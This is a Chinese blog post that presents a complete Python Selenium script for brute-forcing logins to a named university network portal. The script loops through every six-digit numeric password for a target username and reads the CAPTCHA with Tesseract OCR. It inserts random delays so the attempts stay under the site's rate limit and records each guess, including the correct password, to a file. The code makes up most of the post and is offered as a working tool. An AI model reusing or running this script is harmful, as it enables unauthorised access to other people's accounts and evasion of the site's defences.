python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中用format函数格式化字符串的用法
Apr 08 Python
python+selenium开发环境搭建图文教程
Aug 11 Python
利用Django内置的认证视图实现用户密码重置功能详解
Nov 24 Python
Python3爬楼梯算法示例
Mar 04 Python
Python 编程速成(推荐)
Apr 15 Python
python定时复制远程文件夹中所有文件
Apr 30 Python
python selenium 查找隐藏元素 自动播放视频功能
Jul 24 Python
Python3分析处理声音数据的例子
Aug 27 Python
python异常处理之try finally不报错的原因
May 18 Python
Python+Dlib+Opencv实现人脸采集并表情判别功能的代码
Jul 01 Python
Python爬取梨视频的示例
Jan 29 Python
利用Python判断你的密码难度等级
Jun 02 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
限制ckeditor上传图片文件大小的方法
2013/11/15 PHP
php+ajax实时刷新简单实例
2015/02/25 PHP
PHP查找数值数组中不重复最大和最小的10个数的方法
2015/04/20 PHP
CI框架文件上传类及图像处理类用法分析
2016/05/18 PHP
thinkPHP3.2.3实现阿里大于短信验证的方法
2018/06/06 PHP
javascript 进阶篇1 正则表达式,cookie管理,userData
2012/03/14 Javascript
node.js中Socket.IO的进阶使用技巧
2014/11/04 Javascript
jQuery实现的简单分页示例
2016/06/01 Javascript
原生js实现自由拖拽弹窗代码demo
2016/06/29 Javascript
jQuery表单元素选择器代码实例
2017/02/06 Javascript
JavaScript正则替换HTML标签功能示例
2017/03/02 Javascript
深入浅出理解JavaScript闭包的功能与用法
2018/08/01 Javascript
jQuery实现的页面弹幕效果【测试可用】
2018/08/17 jQuery
从vue源码解析Vue.set()和this.$set()
2018/08/30 Javascript
[45:38]DOTA2上海特级锦标赛主赛事日 - 1 胜者组第一轮#1Liquid VS Alliance第一局
2016/03/02 DOTA
[44:10]2018DOTA2亚洲邀请赛 4.5 淘汰赛 EG vs VP 第一场
2018/04/06 DOTA
简单的抓取淘宝图片的Python爬虫
2014/12/25 Python
python实现DES加密解密方法实例详解
2015/06/30 Python
uwsgi+nginx部署Django项目操作示例
2018/12/04 Python
Flask框架web开发之零基础入门
2018/12/10 Python
python使用thrift教程的方法示例
2019/03/21 Python
对django中foreignkey的简单使用详解
2019/07/28 Python
pytorch下大型数据集(大型图片)的导入方式
2020/01/08 Python
Python私有属性私有方法应用实例解析
2020/09/15 Python
微信端html5页面调用分享接口示例
2018/03/14 HTML / CSS
为奢侈时尚带来了慈善元素:Olivela
2018/09/29 全球购物
衰败城市英国官网:Urban Decay英国
2020/04/29 全球购物
东方红海科技面试题软件测试方面
2012/02/08 面试题
岗位职责的构建方法
2014/02/01 职场文书
内蒙古鄂尔多斯市市长寄语
2014/04/10 职场文书
公务员保密工作承诺书
2015/05/04 职场文书
养成教育主题班会
2015/08/13 职场文书
《倍数和因数》教学反思
2016/02/23 职场文书
技术入股合作协议书
2016/03/21 职场文书
导游词之江南周庄
2019/12/06 职场文书
面试提问mysql一张表到底能存多少数据
2022/03/13 MySQL